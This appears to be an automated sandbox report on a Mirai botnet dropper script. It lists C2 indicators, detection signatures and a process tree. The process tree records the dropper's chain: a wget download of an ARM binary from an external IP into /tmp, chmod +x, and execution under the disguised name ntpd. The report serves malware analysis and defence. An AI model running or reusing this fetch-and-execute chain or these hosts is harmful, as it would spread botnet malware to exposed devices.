Analysis
- max time kernel
143s - max time network
140s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
18/07/2026, 12:20
General
- Target all.sh
- Size 626B
- Sample260718-ph7cbabv2p
- SHA256 08a1e1569b57a42ea74c88600d7ddec79fe286a74702a8f8f7c9263163dca588
Score
10/10
Malware Config
Extracted
Family
-
mirai
C2
-
servers.loseyourip.com
-
89.190.156.145
Signatures
- Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- Traces itself 19 IoCs
Traces itself to prevent debugging attempts
- Changes its process name 2 IoCs
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads runtime system information 2 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/all.sh/tmp/all.sh1⤵
- Executes dropped EXE
-
/bin/unameuname -m2⤵
-
-
/usr/bin/wgetwget -q http://8.213.214.55/nerv.arm7 -O /tmp/ntpd2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x /tmp/ntpd2⤵
- File and Directory Permissions Modification
-
-
/tmp/ntpd/tmp/ntpd2⤵
- Traces itself
- Changes its process name
- Checks CPU configuration
- Reads runtime system information
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ntpd